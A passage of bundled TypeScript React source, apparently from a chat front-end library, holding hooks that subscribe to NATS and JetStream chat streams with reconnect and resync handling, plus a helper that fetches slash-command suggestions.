if (!playing || index >= lastIndex) return undefined;\n    const current = frames[Math.min(index, lastIndex)] ?? EMPTY_FRAME;\n    const t = setTimeout(() => setIndex(i => Math.min(i + 1, lastIndex)), current.delayMs);\n    return () => clearTimeout(t);\n  }, [index, frames, playing, lastIndex]);\n\n  if (frames.length === 0) return EMPTY_FRAME;\n  if (!playing) return frames[lastIndex];\n  return frames[Math.min(index, lastIndex)] ?? EMPTY_FRAME;\n}\n","'use client';\n\nimport { useCallback, useEffect, useRef, useState } from 'react';\nimport {\n  acquireClient as acquireSharedClient,\n  releaseClient as releaseSharedClient,\n  startConnectionLifecycle,\n  type JetStreamSubscriptionHandle,\n  type NatsClient,\n} from '../../../nats';\nimport type { UseJetStreamDialogSubscriptionOptions, UseJetStreamDialogSubscriptionReturn } from '../types';\n\nconst DEFAULT_STREAM_NAME = 'CHAT_CHUNKS';\n/**\n * How long the page must have been out of sight before coming back counts as an\n * absence worth resyncing for. Alt-tabbing must not churn the consumer; a\n * window that sat in the tray must not come back showing a stale conversation.\n */\nexport const RESYNC_AFTER_HIDDEN_MS = 10_000;\n/**\n * How long resync requests are gathered before one is acted on.\n *\n * A single reveal can be reported twice: the page sees `visibilitychange`, and\n * a host that knows the window was away reports it too (`resyncSignal`),\n * neither able to tell whether the other noticed. Both land within a frame or\n * two of each other, being driven by the same OS event, and acting on both\n * rebuilds the consumer and refetches history twice for one reveal.\n *\n * Gathered on the TRAILING edge, so a request is deferred and never dropped.\n * Two reports of one reveal collapse into one rebuild; two genuinely different\n * signals — a notification reply landing just before the user opens the window\n * — also collapse into one, which is correct, because a single refetch after\n * the last of them covers both. The cost is a second of latency on a path whose\n * next step is a network round trip.\n */\nconst RESYNC_COALESCE_MS = 1_000;\n/**\n * Floor between two reported recoveries. Every recovery costs the caller a\n * history refetch, and a consumer that cannot hold its sequence — gap, reset,\n * gap — would otherwise turn a server-side fault into a refetch storm from\n * every open client. Recoveries are a repair signal, not a data feed: one per\n * window is enough to close the gap.\n */\nconst RECOVERY_REPORT_FLOOR_MS = 5_000;\n\n/**\n * Subscribe to a chat dialog stream via a JetStream **ephemeral OrderedConsumer**.\n *\n * - Subject: `chat.{dialogId}.{topic}`\n * - When `optStartSeq` is a number, the consumer resumes at `optStartSeq + 1`\n *   (`DeliverPolicy.ByStartSequence`). When null/undefined, it live-tails\n *   (`DeliverPolicy.New`).\n * - On reconnect, the consumer is recreated starting from the highest stream\n *   sequence we've already observed + 1, so no chunk is replayed or skipped.\n * - Consumer is ephemeral with `AckPolicy.None` and the client's default\n *   inactivity threshold (overridable via `inactiveThresholdMs`).\n * - `reconnectionCount` also counts consumer recreations and post-absence\n *   resyncs, not just NATS reconnects — see the counter's docs. Callers refetch\n *   persisted history whenever it moves.\n */\nexport function useJetStreamDialogSubscription({\n  enabled,\n  dialogId,\n  streamName = DEFAULT_STREAM_NAME,\n  topic,\n  optStartSeq,\n  onEvent,\n  onConnect,\n  onDisconnect,\n  onSubscribed,\n  onBeforeReconnect,\n  getNatsWsUrl,\n  clientConfig = {},\n  reconnectionBackoff,\n  inactiveThresholdMs,\n  resyncSignal = 0,\n}: UseJetStreamDialogSubscriptionOptions): UseJetStreamDialogSubscriptionReturn {\n  const [isConnected, setIsConnected] = useState(false);\n  const [subscriptionLive, setIsSubscribed] = useState(false);\n  const [reconnectionCount, setReconnectionCount] = useState(0);\n  // Kept apart from reconnectionCount because only the latter drives the\n  // subscription effect: nats.ws has already rebuilt the consumer by the time\n  // it reports a recovery, so tearing ours down and recreating it would be\n  // churn — and churn that can feed itself, since each new consumer can report\n  // its own recoveries. Callers see the two summed (see the return).\n  const [recoveryCount, setRecoveryCount] = useState(0);\n  // The highest sequence seen, TAGGED with the dialog it belongs to. The tag is\n  // what makes the per-dialog reset implicit — a sequence from another\n  // conversation simply stops matching — so the dialog-change effect below no\n  // longer has to publish `null` from its body. It also closes the window that\n  // reset relied on being empty: a straggling message from the previous\n  // dialog's consumer now carries that dialog's id and cannot be read as this\n  // one's offset.\n  const [seqEntry, setSeqEntry] = useState<{ dialogId: string | null | undefined; seq: number } | null>(null);\n  const currentStreamSeq = seqEntry && seqEntry.dialogId === dialogId ? seqEntry.seq : null;\n\n  // `subscriptionLive` only says \"the async subscribe call resolved\". Whether a\n  // subscription can exist AT ALL is a fact about the inputs, and masking with\n  // it here is what lets the subscription effect drop its `setIsSubscribed(false)`\n  // early-return branch — a synchronous setState in an effect body that ran on\n  // every disconnect and every dialog change.\n  const isSubscribed = subscriptionLive && enabled && Boolean(dialogId) && isConnected;\n\n  const lastRecoveryReportRef = useRef(0);\n  const resyncTimerRef = useRef<ReturnType<typeof setTimeout> | null>(null);\n  const lastResyncSignalRef = useRef(resyncSignal);\n  // Latest `resyncSignal` for the dialog-change effect, which re-baselines on\n  // it but must NOT re-run when it moves — that is the resync effect's job.\n  const resyncSignalRef = useRef(resyncSignal);\n  useEffect(() => {\n    resyncSignalRef.current = resyncSignal;\n  });\n  const clientRef = useRef<NatsClient | null>(null);\n  const subscriptionRef = useRef<JetStreamSubscriptionHandle | null>(null);\n  const highestStreamSeqRef = useRef<number | null>(null);\n\n  const onEventRef = useRef(onEvent);\n  useEffect(() => {\n    onEventRef.current = onEvent;\n  }, [onEvent]);\n\n  const onConnectRef = useRef(onConnect);\n  useEffect(() => {\n    onConnectRef.current = onConnect;\n  }, [onConnect]);\n\n  const onDisconnectRef = useRef(onDisconnect);\n  useEffect(() => {\n    onDisconnectRef.current = onDisconnect;\n  }, [onDisconnect]);\n\n  const onSubscribedRef = useRef(onSubscribed);\n  useEffect(() => {\n    onSubscribedRef.current = onSubscribed;\n  }, [onSubscribed]);\n\n  const onBeforeReconnectRef = useRef(onBeforeReconnect);\n  useEffect(() => {\n    onBeforeReconnectRef.current = onBeforeReconnect;\n  }, [onBeforeReconnect]);\n\n  const getNatsWsUrlRef = useRef(getNatsWsUrl);\n  useEffect(() => {\n    getNatsWsUrlRef.current = getNatsWsUrl;\n  }, [getNatsWsUrl]);\n\n  const reconnectionBackoffRef = useRef(reconnectionBackoff);\n  useEffect(() => {\n    reconnectionBackoffRef.current = reconnectionBackoff;\n  }, [reconnectionBackoff]);\n\n  const optStartSeqRef = useRef<number | null | undefined>(optStartSeq);\n  useEffect(() => {\n    optStartSeqRef.current = optStartSeq;\n  }, [optStartSeq]);\n\n  const inactiveThresholdRef = useRef<number | undefined>(inactiveThresholdMs);\n  useEffect(() => {\n    inactiveThresholdRef.current = inactiveThresholdMs;\n  }, [inactiveThresholdMs]);\n\n  const hadConnectionBeforeRef = useRef(false);\n\n  const clientConfigRef = useRef(clientConfig);\n  useEffect(() => {\n    clientConfigRef.current = clientConfig;\n  }, [clientConfig]);\n\n  const currentWsUrlRef = useRef<string>('');\n\n  // Resolve the URL synchronously each render so the effect depends on the URL string\n  // itself, not the (often inline-allocated) getNatsWsUrl callback identity. Otherwise\n  // every silent token rotation that rebuilds getNatsWsUrl in the caller would tear\n  // the WS down and reacquire even though the resolved URL hasn't changed.\n  const wsUrl = getNatsWsUrl();\n\n  useEffect(() => {\n    if (!enabled || !wsUrl) {\n      if (currentWsUrlRef.current && clientRef.current) {\n        releaseSharedClient(currentWsUrlRef.current);\n        clientRef.current = null;\n        currentWsUrlRef.current = '';\n        setIsConnected(false);\n      }\n      return undefined;\n    }\n\n    if (wsUrl === currentWsUrlRef.current && clientRef.current && clientRef.current.isConnected()) {\n      return undefined;\n    }\n\n    if (currentWsUrlRef.current && currentWsUrlRef.current !== wsUrl && clientRef.current) {\n      releaseSharedClient(currentWsUrlRef.current);\n      clientRef.current = null;\n      setIsConnected(false);\n    }\n\n    currentWsUrlRef.current = wsUrl;\n    const cfg = clientConfigRef.current;\n    const sharedConn = acquireSharedClient(wsUrl, {\n      name: cfg.name ?? 'openframe-frontend-jetstream',\n      user: cfg.user ?? 'machine',\n      pass: cfg.pass ?? '',\n    });\n    const client = sharedConn.client;\n\n    clientRef.current = client;\n    setIsConnected(client.isConnected());\n\n    const tearDownSubscription = () => {\n      if (subscriptionRef.current) {\n        try {\n          subscriptionRef.current.unsubscribe();\n        } catch {\n          // ignore\n        }\n        subscriptionRef.current = null;\n      }\n    };\n\n    const lifecycle = startConnectionLifecycle({\n      conn: sharedConn,\n      wsUrl,\n      onBeforeReconnect: () => onBeforeReconnectRef.current?.(),\n      backoff: reconnectionBackoffRef.current,\n      getFreshUrl: () => getNatsWsUrlRef.current(),\n      // JetStream emits 'error' for protocol-level failures (e.g. -ERR Permissions\n      // Violation when CONSUMER.CREATE is denied) without closing the WebSocket.\n      // Retrying on 'error' would loop onBeforeReconnect on every -ERR; let the\n      // subscribe effect surface those via its own rejected promise instead.\n      shouldRetryOn: status => status === 'closed' || status === 'disconnected',\n      onStatusChange: (status, evt) => {\n        if (status === 'connected') {\n          setIsConnected(true);\n          if (hadConnectionBeforeRef.current) {\n            setReconnectionCount(c => c + 1);\n          }\n          hadConnectionBeforeRef.current = true;\n          onConnectRef.current?.();\n        }\n        if (status === 'error') {\n          console.warn('[JetStream] NATS protocol error:', evt.data);\n          return;\n        }\n        if (status === 'closed' || status === 'disconnected') {\n          setIsConnected(false);\n          setIsSubscribed(false);\n          tearDownSubscription();\n          onDisconnectRef.current?.();\n        }\n      },\n    });\n\n    return () => {\n      lifecycle.stop();\n      setIsConnected(false);\n      setIsSubscribed(false);\n      tearDownSubscription();\n\n      if (clientRef.current && currentWsUrlRef.current) {\n        releaseSharedClient(currentWsUrlRef.current);\n        clientRef.current = null;\n        currentWsUrlRef.current = '';\n      }\n    };\n  }, [enabled, wsUrl]);\n\n  // Reset the highest-seen sequence whenever the dialog changes so a new dialog\n  // starts from optStartSeq (or DeliverPolicy.New) rather than the previous\n  // dialog's offset. MUST be declared BEFORE the subscription effect below:\n  // React runs effects in declaration order, and when this ran after it, the\n  // new dialog's consumer was created with the PREVIOUS dialog's stale\n  // `highestStreamSeq + 1` as its start sequence (skipping messages /\n  // ignoring optStartSeq).\n  useEffect(() => {\n    highestStreamSeqRef.current = null;\n    // A host's signal counts per dialog (it can carry a per-conversation term),\n    // so the baseline has to move with the dialog or a switch to one with a\n    // LOWER count would swallow every later resync for it.\n    lastResyncSignalRef.current = resyncSignalRef.current;\n    // (The published sequence resets itself — it is tagged with its dialog id\n    // where it is declared above.)\n    // A resync gathered for the previous dialog must not land on this one: the\n    // counter says nothing about which conversation it meant, so callers would\n    // refetch the wrong one. The dialog change supersedes it — the new dialog\n    // loads its own history regardless. As cleanup, so it covers unmount too,\n    // which is the same rule.\n    return () => {\n      if (resyncTimerRef.current !== null) {\n        clearTimeout(resyncTimerRef.current);\n        resyncTimerRef.current = null;\n      }\n    };\n    // `resyncSignal` is read as the new baseline, not depended on: reacting to\n    // it here would reset the baseline on the very change meant to trigger a\n    // resync, and the effect below owns that.\n  }, [dialogId]);\n\n  // Coming back into view after a real absence is treated exactly like a\n  // reconnect, because the page cannot tell the difference from the inside.\n  // While it was hidden — a tray-hidden desktop window, a background tab, a\n  // sleeping machine — delivery may have stopped without the socket ever\n  // closing and without any consumer event to show for it. Nothing else will\n  // report that: the tail simply stays quiet, and the conversation on screen\n  // stays frozen at whatever was there when the window went away (the user's\n  // manual fix is a page refresh, which is exactly the history refetch this\n  // triggers). Rebuilds the consumer from the last sequence seen AND tells\n  // callers to refetch history.\n  //\n  // Every source funnels through here (see `RESYNC_COALESCE_MS`). Restarting\n  // the timer rather than dropping is what makes that safe: a request is only\n  // ever folded into the one that follows it, never discarded.\n  const requestResync = useCallback(() => {\n    if (resyncTimerRef.current !== null) clearTimeout(resyncTimerRef.current);\n    resyncTimerRef.current = setTimeout(() => {\n      resyncTimerRef.current = null;\n      setReconnectionCount(c => c + 1);\n    }, RESYNC_COALESCE_MS);\n  }, []);\n\n  useEffect(() => {\n    if (!enabled) return undefined;\n    let hiddenSince = document.visibilityState === 'hidden' ? Date.now() : 0;\n\n    const onVisibilityChange = () => {\n      if (document.visibilityState === 'hidden') {\n        hiddenSince = Date.now();\n        return;\n      }\n      const awayMs = hiddenSince === 0 ? 0 : Date.now() - hiddenSince;\n      hiddenSince = 0;\n      if (awayMs >= RESYNC_AFTER_HIDDEN_MS) {\n        requestResync();\n      }\n    };\n\n    document.addEventListener('visibilitychange', onVisibilityChange);\n    return () => document.removeEventListener('visibilitychange', onVisibilityChange);\n  }, [enabled, requestResync]);\n\n  useEffect(() => {\n    // Held, not consumed, while disabled: it fires once on enable instead.\n    // A host reports a signal against the conversation, not against this hook's\n    // readiness, so one arriving while the caller is still assembling the\n    // subscription describes a gap in the history the caller is fetching right\n    // now. Dropping it would leave that fetch's result stale with nothing left\n    // to say so.\n    if (!enabled) return;\n    // The mount value is a baseline, not a signal.\n    if (resyncSignal <= lastResyncSignalRef.current) return;\n    lastResyncSignalRef.current = resyncSignal;\n    requestResync();\n  }, [enabled, resyncSignal, requestResync]);\n\n  // Subscription lifecycle: (re)create the ephemeral JetStream consumer whenever\n  // we transition into a connected state for a dialog, and whenever the dialog\n  // changes. On reconnect we resume from highestStreamSeq + 1.\n  useEffect(() => {\n    if (!enabled || !dialogId || !isConnected) {\n      if (subscriptionRef.current) {\n        try {\n          subscriptionRef.current.unsubscribe();\n        } catch {\n          // ignore\n        }\n        subscriptionRef.current = null;\n      }\n      // No `setIsSubscribed(false)` here: `isSubscribed` already masks on\n      // exactly these three inputs (see its declaration).\n      return undefined;\n    }\n\n    const client = clientRef.current;\n    if (!client) return undefined;\n\n    const abortController = new AbortController();\n    const decoder = new TextDecoder();\n    const filterSubject = `chat.${dialogId}.${topic}`;\n\n    const resumeSeq = highestStreamSeqRef.current;\n    const initialOptStart = optStartSeqRef.current;\n    const startSeq = resumeSeq != null ? resumeSeq + 1 : initialOptStart != null ? initialOptStart + 1 : undefined;\n\n    let cancelled = false;\n\n    void (async () => {\n      try {\n        const handle = await client.subscribeJetStreamOrdered(\n          msg => {\n            if (cancelled) return;\n            const streamSeq = msg.info.streamSequence;\n            if (typeof streamSeq === 'number') {\n              if (highestStreamSeqRef.current == null || streamSeq > highestStreamSeqRef.current) {\n                highestStreamSeqRef.current = streamSeq;\n                // Tagged with the dialog this consumer was created for, so a\n                // message that arrives after a dialog switch cannot be read as\n                // the new conversation's offset.\n                setSeqEntry({ dialogId, seq: streamSeq });\n              }\n            }\n            const cb = onEventRef.current;\n            if (!cb) return;\n            try {\n              const parsed = JSON.parse(decoder.decode(msg.data)) as Record<string, unknown>;\n              if (typeof streamSeq === 'number') {\n                (parsed as { streamSeq?: number }).streamSeq = streamSeq;\n              }\n              cb(parsed, topic);\n            } catch {\n              // Ignore malformed payloads.\n            }\n          },\n          {\n            streamName,\n            filterSubject,\n            deliverPolicy: startSeq != null ? 'byStartSequence' : 'new',\n            optStartSeq: startSeq,\n            // Undefined when the caller did not set one: the client owns the default,\n            // so it is not spelled out a second time here.\n            inactiveThresholdMs: inactiveThresholdRef.current,\n            signal: abortController.signal,\n            onRecovered: () => {\n              if (cancelled) return;\n              const now = Date.now();\n              if (now - lastRecoveryReportRef.current < RECOVERY_REPORT_FLOOR_MS) return;\n              lastRecoveryReportRef.current = now;\n              setRecoveryCount(c => c + 1);\n            },\n          },\n        );\n\n        if (cancelled) {\n          try {\n            handle.unsubscribe();\n          } catch {\n            // ignore\n          }\n          return;\n        }\n\n        subscriptionRef.current = handle;\n        setIsSubscribed(true);\n        onSubscribedRef.current?.();\n      } catch {\n        if (!cancelled) {\n          setIsSubscribed(false);\n        }\n      }\n    })();\n\n    return () => {\n      cancelled = true;\n      abortController.abort();\n      if (subscriptionRef.current) {\n        try {\n          subscriptionRef.current.unsubscribe();\n        } catch {\n          // ignore\n        }\n        subscriptionRef.current = null;\n      }\n      setIsSubscribed(false);\n    };\n  }, [enabled, dialogId, isConnected, streamName, topic, reconnectionCount]);\n\n  // One counter for every way the tail comes back — reconnect, consumer\n  // recreation, post-absence resync — because callers do the same thing for all\n  // of them: refetch persisted history, since the gap may predate what the\n  // stream still holds. The last two are the quiet ones; no connection event\n  // fires for either.\n  return {\n    isConnected,\n    isSubscribed,\n    reconnectionCount: reconnectionCount + recoveryCount,\n    currentStreamSeq,\n  };\n}\n","'use client';\n\nimport { useEffect, useRef, useState } from 'react';\nimport {\n  acquireClient as acquireSharedClient,\n  releaseClient as releaseSharedClient,\n  startConnectionLifecycle,\n  type Msg,\n  type NatsClient,\n  type NatsStatus,\n  type NatsSubscriptionHandle,\n} from '../../../nats';\nimport type {\n  NatsConnectionSource,\n  NatsMessageType,\n  UseNatsDialogSubscriptionOptions,\n  UseNatsDialogSubscriptionReturn,\n} from '../types';\n\nexport function useNatsDialogSubscription({\n  enabled,\n  dialogId,\n  topics = ['message'],\n  onEvent,\n  onConnect,\n  onDisconnect,\n  onSubscribed,\n  onBeforeReconnect,\n  getNatsWsUrl,\n  clientConfig = {},\n  reconnectionBackoff,\n}: UseNatsDialogSubscriptionOptions): UseNatsDialogSubscriptionReturn {\n  const [isConnected, setIsConnected] = useState(false);\n  const [isSubscribed, setIsSubscribed] = useState(false);\n  const [reconnectionCount, setReconnectionCount] = useState(0);\n\n  const clientRef = useRef<NatsClient | null>(null);\n  const subscriptionRefs = useRef<Map<NatsMessageType, NatsSubscriptionHandle | null>>(new Map());\n\n  const onEventRef = useRef(onEvent);\n  useEffect(() => {\n    onEventRef.current = onEvent;\n  }, [onEvent]);\n\n  const onConnectRef = useRef(onConnect);\n  useEffect(() => {\n    onConnectRef.current = onConnect;\n  }, [onConnect]);\n\n  const onDisconnectRef = useRef(onDisconnect);\n  useEffect(() => {\n    onDisconnectRef.current = onDisconnect;\n  }, [onDisconnect]);\n\n  const onSubscribedRef = useRef(onSubscribed);\n  useEffect(() => {\n    onSubscribedRef.current = onSubscribed;\n  }, [onSubscribed]);\n\n  const onBeforeReconnectRef = useRef(onBeforeReconnect);\n  useEffect(() => {\n    onBeforeReconnectRef.current = onBeforeReconnect;\n  }, [onBeforeReconnect]);\n\n  const hadConnectionBeforeRef = useRef(false);\n\n  const getNatsWsUrlRef = useRef(getNatsWsUrl);\n  useEffect(() => {\n    getNatsWsUrlRef.current = getNatsWsUrl;\n  }, [getNatsWsUrl]);\n\n  const reconnectionBackoffRef = useRef(reconnectionBackoff);\n  useEffect(() => {\n    reconnectionBackoffRef.current = reconnectionBackoff;\n  }, [reconnectionBackoff]);\n\n  const clientConfigRef = useRef(clientConfig);\n  useEffect(() => {\n    clientConfigRef.current = clientConfig;\n  }, [clientConfig]);\n\n  const currentWsUrlRef = useRef<string>('');\n\n  // Resolve the URL synchronously each render so the effect's dep is the URL string\n  // itself, not the (often inline-allocated) getNatsWsUrl callback identity. Without\n  // this the effect re-runs on every render that produces a new callback identity —\n  // e.g. every silent token rotation when `useNatsAppConfig` rebuilds getWsUrl —\n  // tearing the WS down and reacquiring even though the resolved URL hasn't changed.\n  const wsUrl = getNatsWsUrl();\n\n  const lastSubscribedDialogIdRef = useRef<string | null>(null);\n  const abortControllerRef = useRef<AbortController | null>(null);\n\n  useEffect(() => {\n    if (!enabled || !wsUrl) {\n      if (currentWsUrlRef.current && clientRef.current) {\n        releaseSharedClient(currentWsUrlRef.current);\n        clientRef.current = null;\n        currentWsUrlRef.current = '';\n        setIsConnected(false);\n      }\n      return undefined;\n    }\n\n    // Skip if we're already connected to the same URL\n    if (wsUrl === currentWsUrlRef.current && clientRef.current && clientRef.current.isConnected()) {\n      return undefined;\n    }\n\n    if (currentWsUrlRef.current && currentWsUrlRef.current !== wsUrl && clientRef.current) {\n      releaseSharedClient(currentWsUrlRef.current);\n      clientRef.current = null;\n      setIsConnected(false);\n    }\n\n    currentWsUrlRef.current = wsUrl;\n    const cfg = clientConfigRef.current;\n    const sharedConn = acquireSharedClient(wsUrl, {\n      name: cfg.name ?? 'openframe-frontend',\n      user: cfg.user ?? 'machine',\n      pass: cfg.pass ?? '',\n    });\n    const client = sharedConn.client;\n\n    clientRef.current = client;\n    setIsConnected(client.isConnected());\n\n    const tearDownSubscriptions = () => {\n      subscriptionRefs.current.forEach(sub => {\n        try {\n          sub?.unsubscribe();\n        } catch {\n          // ignore\n        }\n      });\n      subscriptionRefs.current.clear();\n      lastSubscribedDialogIdRef.current = null;\n      abortControllerRef.current?.abort();\n      abortControllerRef.current = null;\n    };\n\n    const isDisconnectStatus = (status: NatsStatus) => status === 'closed' || status === 'disconnected';\n\n    const lifecycle = startConnectionLifecycle({\n      conn: sharedConn,\n      wsUrl,\n      onBeforeReconnect: () => onBeforeReconnectRef.current?.(),\n      backoff: reconnectionBackoffRef.current,\n      getFreshUrl: () => getNatsWsUrlRef.current(),\n      shouldRetryOn: isDisconnectStatus,\n      onStatusChange: (status, evt) => {\n        if (status === 'connected') {\n          setIsConnected(true);\n          if (hadConnectionBeforeRef.current) {\n            setReconnectionCount(c => c + 1);\n          }\n          hadConnectionBeforeRef.current = true;\n          onConnectRef.current?.();\n        }\n        if (status === 'error') {\n          console.warn('[NATS] protocol error:', evt.data);\n          return;\n        }\n        if (isDisconnectStatus(status)) {\n          setIsConnected(false);\n          setIsSubscribed(false);\n          tearDownSubscriptions();\n          onDisconnectRef.current?.();\n        }\n      },\n    });\n\n    return () => {\n      lifecycle.stop();\n      setIsConnected(false);\n      setIsSubscribed(false);\n      tearDownSubscriptions();\n\n      if (clientRef.current && currentWsUrlRef.current) {\n        releaseSharedClient(currentWsUrlRef.current);\n        clientRef.current = null;\n        currentWsUrlRef.current = '';\n      }\n    };\n  }, [enabled, wsUrl]);\n\n  // Key the subscription effects on the topics CONTENT, not the array\n  // identity — hosts often pass an inline array, and an identity dep made\n  // every render tear down + recreate the subscriptions (plain NATS delivers\n  // nothing during that gap, so chunks were silently lost).\n  const topicsKey = topics.join(',');\n  const topicsRef = useRef(topics);\n  const isConnectedRef = useRef(isConnected);\n\n  // Both mirrors refreshed after every commit — `topicsRef` used to be written\n  // in the render body, which publishes an array a discarded render attempt\n  // produced. Every reader is inside a subscription effect or a NATS callback,\n  // so none of them can run before this has caught up.\n  useEffect(() => {\n    topicsRef.current = topics;\n    isConnectedRef.current = isConnected;\n  });\n\n  const currentDialogIdRef = useRef<string | null>(null);\n\n  useEffect(() => {\n    currentDialogIdRef.current = dialogId;\n\n    if (!enabled || !dialogId) {\n      if (subscriptionRefs.current.size > 0) {\n        setIsSubscribed(false);\n        subscriptionRefs.current.forEach(sub => {\n          try {\n            sub?.unsubscribe();\n          } catch {\n            // ignore\n          }\n        });\n        subscriptionRefs.current.clear();\n        lastSubscribedDialogIdRef.current = null;\n        abortControllerRef.current?.abort();\n        abortControllerRef.current = null;\n      }\n      return undefined;\n    }\n\n    const needsNewSubscription = lastSubscribedDialogIdRef.current !== dialogId || subscriptionRefs.current.size === 0;\n\n    if (!needsNewSubscription) {\n      return undefined;\n    }\n\n    if (subscriptionRefs.current.size > 0) {\n      subscriptionRefs.current.forEach(sub => {\n        try {\n          sub?.unsubscribe();\n        } catch {\n          // ignore\n        }\n      });\n      subscriptionRefs.current.clear();\n      abortControllerRef.current?.abort();\n    }\n\n    abortControllerRef.current = new AbortController();\n    const abort = abortControllerRef.current;\n\n    const createSubscriptions = () => {\n      if (!isConnectedRef.current) {\n        return;\n      }\n\n      const client = clientRef.current;\n      if (!client || currentDialogIdRef.current !== dialogId) {\n        return;\n      }\n\n      const decoder = new TextDecoder();\n\n      const handleMessage = (messageType: NatsMessageType) => (msg: Msg) => {\n        if (!onEventRef.current) return;\n        try {\n          const dataStr = decoder.decode(msg.data);\n          const parsed: unknown = JSON.parse(dataStr);\n          onEventRef.current(parsed, messageType);\n        } catch {\n          // Ignore parse errors\n        }\n      };\n\n      topicsRef.current.forEach(topic => {\n        const subscription = client.subscribeBytes(`chat.${dialogId}.${topic}`, handleMessage(topic), {\n          signal: abort.signal,\n        });\n        subscriptionRefs.current.set(topic, subscription);\n      });\n\n      lastSubscribedDialogIdRef.current = dialogId;\n      setIsSubscribed(true);\n      onSubscribedRef.current?.();\n    };\n\n    if (isConnectedRef.current) {\n      createSubscriptions();\n    }\n\n    // Captured, not read through the ref in cleanup: the Map identity is\n    // fixed for the component's life, and the local makes that explicit.\n    const subscriptions = subscriptionRefs.current;\n    return () => {\n      setIsSubscribed(false);\n      abort.abort();\n      subscriptions.forEach(sub => {\n        try {\n          sub?.unsubscribe();\n        } catch {\n          // ignore\n        }\n      });\n      subscriptions.clear();\n      lastSubscribedDialogIdRef.current = null;\n      abortControllerRef.current = null;\n    };\n  }, [enabled, dialogId, topicsKey]);\n\n  useEffect(() => {\n    if (!enabled || !currentDialogIdRef.current || !isConnected) {\n      return;\n    }\n\n    if (subscriptionRefs.current.size === 0 && lastSubscribedDialogIdRef.current !== currentDialogIdRef.current) {\n      const client = clientRef.current;\n      if (!client) return;\n\n      // Ref, not the `dialogId` prop in this effect's closure — the same\n      // `current*` naming as use-chunk-catchup, and the only thing telling a\n      // reader which of the two values this branch reads.\n      const currentDialogId = currentDialogIdRef.current;\n      const decoder = new TextDecoder();\n\n      const abort = abortControllerRef.current || new AbortController();\n      if (!abortControllerRef.current) {\n        abortControllerRef.current = abort;\n      }\n\n      const handleMessage = (messageType: NatsMessageType) => (msg: Msg) => {\n        if (!onEventRef.current) return;\n        try {\n          const dataStr = decoder.decode(msg.data);\n          const parsed: unknown = JSON.parse(dataStr);\n          onEventRef.current(parsed, messageType);\n        } catch {\n          // Ignore parse errors\n        }\n      };\n\n      topicsRef.current.forEach(topic => {\n        const subscription = client.subscribeBytes(`chat.${currentDialogId}.${topic}`, handleMessage(topic), {\n          signal: abort.signal,\n        });\n        subscriptionRefs.current.set(topic, subscription);\n      });\n\n      lastSubscribedDialogIdRef.current = currentDialogId;\n      setIsSubscribed(true);\n      onSubscribedRef.current?.();\n    } else if (subscriptionRefs.current.size > 0) {\n      setIsSubscribed(true);\n    }\n  }, [isConnected, enabled, topicsKey]);\n\n  return { isConnected, isSubscribed, reconnectionCount };\n}\n\n/**\n * Utility function to build NATS WebSocket URL\n * Can be used to create the getNatsWsUrl callback\n */\nexport function buildNatsWsUrl(\n  apiBaseUrl: string,\n  options?: {\n    token?: string;\n    includeAuthParam?: boolean;\n    source?: NatsConnectionSource;\n  },\n): string {\n  const path = options?.source === 'dashboard' ? '/ws/nats-api' : '/ws/nats';\n  const u = new URL(path, apiBaseUrl);\n  u.protocol = u.protocol === 'https:' ? 'wss:' : 'ws:';\n\n  if (options?.includeAuthParam && options?.token) {\n    u.searchParams.set('authorization', options.token);\n  }\n\n  return u.toString();\n}\n","'use client';\n\n/**\n * Client-side hook + helper for the slash-command autocomplete.\n *\n * `fetchSlashCommands` is a stateless wrapper around the host's\n * commands endpoint. The caller threads the URL — the lib never\n * depends on hub-internal route paths.\n *\n * `useSlashCommands` is the React-state version (debounced, cancellable).\n *\n * Types live in `../types/component.types` so the autocomplete\n * dropdown and the chat-side runtime share one source of truth.\n */\n\nimport { useQuery } from '@tanstack/react-query';\nimport { useEffect, useState } from 'react';\nimport { embedAuthedFetch } from '../../../utils/embed-authed-fetch';\nimport type { SlashCommandActionId, SlashCommandSummaryAction, SlashCommandSummary } from '../types/component.types';\n\n// Re-export so callers can `import { SlashCommandSummary } from\n// '@flamingo-stack/openframe-frontend-core/components/chat/hooks'`\n// without reaching into types. The component.types module is the\n// canonical declaration.\nexport type { SlashCommandActionId, SlashCommandSummaryAction, SlashCommandSummary };\n\n/**\n * Fetch slash-command suggestions for the CURRENT deployment platform,\n * matching id-prefix `prefix`. The chat source is server-resolved — the\n * client sends NO `source` param on the URL.\n *\n * `commandsUrl` is required — supplied by `useChatRuntime().endpoints.commandsUrl`\n * at the call site. NO default value.\n *\n * URL handling: `new URL(commandsUrl, window.location.origin)` works\n * for both relative (e.g. `/api/mingo-guide/commands` → resolved against\n * the embedder origin, proxy handles it) and absolute\n * (e.g. `https://hub.openframe.ai/api/commands` → the base arg is\n * ignored).\n *\n * Auth: rides on `embedAuthedFetch` (same bearer-act-as + 401 self-heal\n * as the chat stream / identity / attachment calls) so a host that runs\n * proxy-impersonation or a refresh-capable auth adapter gets its creds\n * attached here too — no host-side `window.fetch` patch required. Hosts\n * with no adapter fall through to cookie auth unchanged.\n *\n * Returns the parsed `commands` array; on any non-2xx (auth,\n * rate-limit, chat-disabled) returns an empty array — the autocomplete\n * UI silently shows no suggestions rather than surfacing 401/403/429\n * toasts.\n */\nexport async function fetchSlashCommands(\n  prefix: string,\n  signal: AbortSignal | undefined,\n  commandsUrl: string,\n): Promise<SlashCommandSummary[]> {\n  try {\n    const url = new URL(commandsUrl, window.location.origin);\n    if (prefix) url.searchParams.set('q', prefix);\n    // `headers: {}` opts out of the default `Content-Type: application/json`\n    // — this is a bare GET with no body, so no content-type is needed.\n    const res = await embedAuthedFetch(url.toString(), { signal, headers: {} });\n    if (!res.ok) return [];\n    const data = (await res.json()) as { commands?: SlashCommandSummary[] };\n    return data.commands ?? [];\n  } catch (err) {\n    // Cancellation (unmount / dep change) MUST propagate so react-query treats\n    // it as cancelled, not as a successful empty result. Every OTHER failure\n    // (network down, proxy reject, non-JSON body) degrades to \"no commands\" so\n    // a flaky commands endpoint can NEVER break the chat — the autocomplete /\n    // onboarding list just renders empty.\n    if ((err as Error)?.name === 'AbortError') throw err;\n    console.warn('[chat] slash-commands fetch failed, showing none:', err);\n    return [];\n  }\n}\n\n/**\n * Debounced, cancellable React hook. Returns `{ commands, loading }`.\n *\n * `commandsUrl` is required — pass `useChatRuntime().endpoints.commandsUrl`.\n */\n/** One shared empty list, so \"no commands\" keeps a stable identity. */\nconst NO_COMMANDS: SlashCommandSummary[] = [];\n\nexport function useSlashCommands(\n  prefix: string | null,\n  commandsUrl: string,\n): { commands: SlashCommandSummary[]; loading: boolean } {\n  // The result carries the 